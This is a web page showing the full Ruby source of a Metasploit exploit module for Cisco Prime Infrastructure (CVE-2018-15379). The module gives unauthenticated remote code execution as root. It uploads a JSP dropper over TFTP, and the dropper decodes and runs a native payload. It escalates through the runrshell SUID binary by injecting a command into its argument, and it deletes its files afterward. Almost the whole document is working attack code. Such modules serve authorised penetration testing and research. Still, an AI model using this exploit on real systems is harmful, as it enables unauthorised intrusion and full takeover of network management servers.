Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/linux/http/cisco_prime_inf_rce.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::EXE10include Msf::Exploit::FileDropper1112def initialize(info = {})13super(update_info(info,14'Name' => 'Cisco Prime Infrastructure Unauthenticated Remote Code Execution',15'Description' => %q{16Cisco Prime Infrastructure (CPI) contains two basic flaws that when exploited allow17an unauthenticated attacker to achieve remote code execution. The first flaw is a file18upload vulnerability that allows the attacker to upload and execute files as the Apache19Tomcat user; the second is a privilege escalation to root by bypassing execution restrictions20in a SUID binary.2122This module exploits these vulnerabilities to achieve unauthenticated remote code execution23as root on the CPI default installation.2425This module has been tested with CPI 3.2.0.0.258 and 3.4.0.0.348. Earlier and later versions26might also be affected, although 3.4.0.0.348 is the latest at the time of writing.27The file upload vulnerability should have been fixed in versions 3.4.1 and 3.3.1 Update 02.28},29'Author' =>30[31'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module32],33'License' => MSF_LICENSE,34'References' =>35[36[ 'CVE', '2018-15379' ],37[ 'URL', 'https://seclists.org/fulldisclosure/2018/Oct/19'],38[ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/Cisco/cisco-prime-infrastructure.txt' ],39[ 'URL', 'https://blogs.securiteam.com/index.php/archives/3723' ],40[ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20181003-pi-tftp' ]41],42'Platform' => 'linux',43'Arch' => [ARCH_X86, ARCH_X64],44'Targets' =>45[46[ 'Cisco Prime Infrastructure < 3.4.1 & 3.3.1 Update 02', {} ]47],48'Privileged' => true,49'DefaultOptions' => { 'WfsDelay' => 10 },50'DefaultTarget' => 0,51'DisclosureDate' => '2018-10-04'52))5354register_options(55[56OptPort.new('RPORT', [true, 'The target port', 443]),57OptPort.new('RPORT_TFTP', [true, 'TFTPD port', 69]),58OptBool.new('SSL', [true, 'Use SSL connection', true]),59OptString.new('TARGETURI', [ true, "swimtemp path", '/swimtemp'])60])61end626364def check65res = send_request_cgi({66'uri' => normalize_uri(datastore['TARGETURI'], 'swimtemp'),67'method' => 'GET'68})6970unless res71vprint_error 'Connection failed'72return CheckCode::Unknown73end7475if res.code == 404 && res.body.length == 076# at the moment this is the best way to detect77# a 404 in swimtemp only returns the error code with a body length of 0,78# while a 404 to another webapp or to the root returns code plus a body with content79return CheckCode::Detected80end8182CheckCode::Safe83end848586def upload_payload(payload)87lport = datastore['LPORT'] || (1025 + rand(0xffff-1025))88lhost = datastore['LHOST'] || "0.0.0.0"89remote_file = rand_text_alpha(5..16) + '.jsp'9091tftp_client = Rex::Proto::TFTP::Client.new(92"LocalHost" => lhost,93"LocalPort" => lport,94"PeerHost" => rhost,95"PeerPort" => datastore['RPORT_TFTP'],96"LocalFile" => "DATA:#{payload}",97"RemoteFile" => remote_file,98"Mode" => 'octet',99"Context" => {'Msf' => self.framework, 'MsfExploit' => self},100"Action" => :upload101)102print_status "Uploading TFTP payload to #{rhost}:#{datastore['TFTP_PORT']} as '#{remote_file}'"103tftp_client.send_write_request104105remote_file106end107108def generate_jsp_payload109exe = generate_payload_exe110base64_exe = Rex::Text.encode_base64(exe)111112native_payload_name = rand_text_alpha(3..9)113114var_raw = rand_text_alpha(3..11)115var_ostream = rand_text_alpha(3..11)116var_pstream = rand_text_alpha(3..11)117var_buf = rand_text_alpha(3..11)118var_decoder = rand_text_alpha(3..11)119var_tmp = rand_text_alpha(3..11)120var_path = rand_text_alpha(3..11)121var_tmp2 = rand_text_alpha(3..11)122var_path2 = rand_text_alpha(3..11)123var_proc2 = rand_text_alpha(3..11)124125var_proc1 = rand_text_alpha(3..11)126chmod = %Q|127Process #{var_proc1} = Runtime.getRuntime().exec("chmod 777 " + #{var_path} + " " + #{var_path2});128Thread.sleep(200);129|130131var_proc3 = Rex::Text.rand_text_alpha(3..11)132cleanup = %Q|133Thread.sleep(200);134Process #{var_proc3} = Runtime.getRuntime().exec("rm " + #{var_path} + " " + #{var_path2});135|136137jsp = %Q|138<%@page import="java.io.*"%>139<%@page import="sun.misc.BASE64Decoder"%>140<%141try {142String #{var_buf} = "#{base64_exe}";143BASE64Decoder #{var_decoder} = new BASE64Decoder();144byte[] #{var_raw} = #{var_decoder}.decodeBuffer(#{var_buf}.toString());145146File #{var_tmp} = File.createTempFile("#{native_payload_name}", ".bin");147String #{var_path} = #{var_tmp}.getAbsolutePath();148149BufferedOutputStream #{var_ostream} =150new BufferedOutputStream(new FileOutputStream(#{var_path}));151#{var_ostream}.write(#{var_raw});152#{var_ostream}.close();153154File #{var_tmp2} = File.createTempFile("#{native_payload_name}", ".sh");155String #{var_path2} = #{var_tmp2}.getAbsolutePath();156157PrintWriter #{var_pstream} =158new PrintWriter(new FileOutputStream(#{var_path2}));159#{var_pstream}.println("!#/bin/sh");160#{var_pstream}.println("/opt/CSCOlumos/bin/runrshell '\\" && " + #{var_path} + " #'");161#{var_pstream}.close();162#{chmod}163164Process #{var_proc2} = Runtime.getRuntime().exec(#{var_path2});165#{cleanup}166} catch (Exception e) {167}168%>169|170171jsp = jsp.gsub(/\n/, '')172jsp = jsp.gsub(/\t/, '')173jsp = jsp.gsub(/\x0d\x0a/, "")174jsp = jsp.gsub(/\x0a/, "")175176return jsp177end178179180def exploit181jsp_payload = generate_jsp_payload182183jsp_name = upload_payload(jsp_payload)184185# we land in /opt/CSCOlumos, so we don't know the apache directory186# as it changes between versions... so leave this commented for now187# ... and try to find a good way to clean it later188print_warning "#{jsp_name} must be manually removed from the Apache in /opt/CSCOlumos"189# register_files_for_cleanup(jsp_name)190191print_status("#{peer} - Executing payload...")192send_request_cgi({193'uri' => normalize_uri(datastore['TARGETURI'], jsp_name),194'method' => 'GET'195})196197handler198end199end200201202